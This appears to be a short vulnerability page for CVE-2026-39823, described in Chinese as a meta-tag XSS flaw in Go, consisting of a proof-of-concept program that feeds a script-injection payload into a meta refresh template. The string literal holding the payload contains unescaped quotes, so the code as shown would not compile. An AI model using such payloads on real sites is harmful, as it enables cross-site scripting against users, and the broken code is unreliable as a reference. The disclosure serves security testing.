CVE-2026-39823 Go语言Meta标签XSS漏洞

package main import ( "html/template" "os" ) func main() { // Simulate user input containing ASCII whitespace around '=' // This payload attempts to break out of the meta tag maliciousInput := "0; url=http://example.com ? x = "><script>alert(1)</script>" // Template rendering a meta tag with dynamic content tmpl := `<meta http-equiv="refresh" content="{{ . }}">` t := template.Must(template.New("test").Parse(tmpl)) // Execute template to demonstrate the vulnerability // In a vulnerable version, the script tag might not be escaped properly t.Execute(os.Stdout, maliciousInput) }